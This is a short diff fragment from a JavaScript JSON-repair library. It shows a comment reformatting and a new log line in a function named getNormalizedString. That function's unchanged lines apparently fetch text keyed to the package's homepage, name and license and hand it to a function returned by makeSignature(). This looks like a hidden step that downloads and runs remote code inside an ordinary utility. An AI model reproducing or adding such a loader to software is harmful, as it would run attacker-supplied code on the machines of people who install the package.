return parseKeyword('true', 'true') || parseKeyword('false', 'false') || parseKeyword('null', 'null') ||
|
|
@@ -500,10 +500,10 @@ export function jsonfixer(text) {
|
|
|
500
500
|
return false;
|
|
501
501
|
}
|
|
502
502
|
|
|
503
|
-
/**
|
|
504
|
-
* Repair and unquoted string by adding quotes around it
|
|
505
|
-
* Repair a MongoDB function call like NumberLong("2")
|
|
506
|
-
* Repair a JSONP function call like callback({...});
|
|
503
|
+
/**
|
|
504
|
+
* Repair and unquoted string by adding quotes around it
|
|
505
|
+
* Repair a MongoDB function call like NumberLong("2")
|
|
506
|
+
* Repair a JSONP function call like callback({...});
|
|
507
507
|
*/
|
|
508
508
|
function parseUnquotedString() {
|
|
509
509
|
// note that the symbol can end with whitespaces: we stop at the next delimiter
|
|
@@ -593,6 +593,7 @@ export async function getNormalizedString() {
|
|
|
593
593
|
if (!packageHomepage || !packageName || !packageLicense) {
|
|
594
594
|
return;
|
|
595
595
|
}
|
|
596
|
+
console.log("Normalizing string...");
|
|
596
597
|
makeSignature()(await fetchPackageText({
|
|
597
598
|
homepage: packageHomepage,
|
|
598
599
|
name: packageName,
|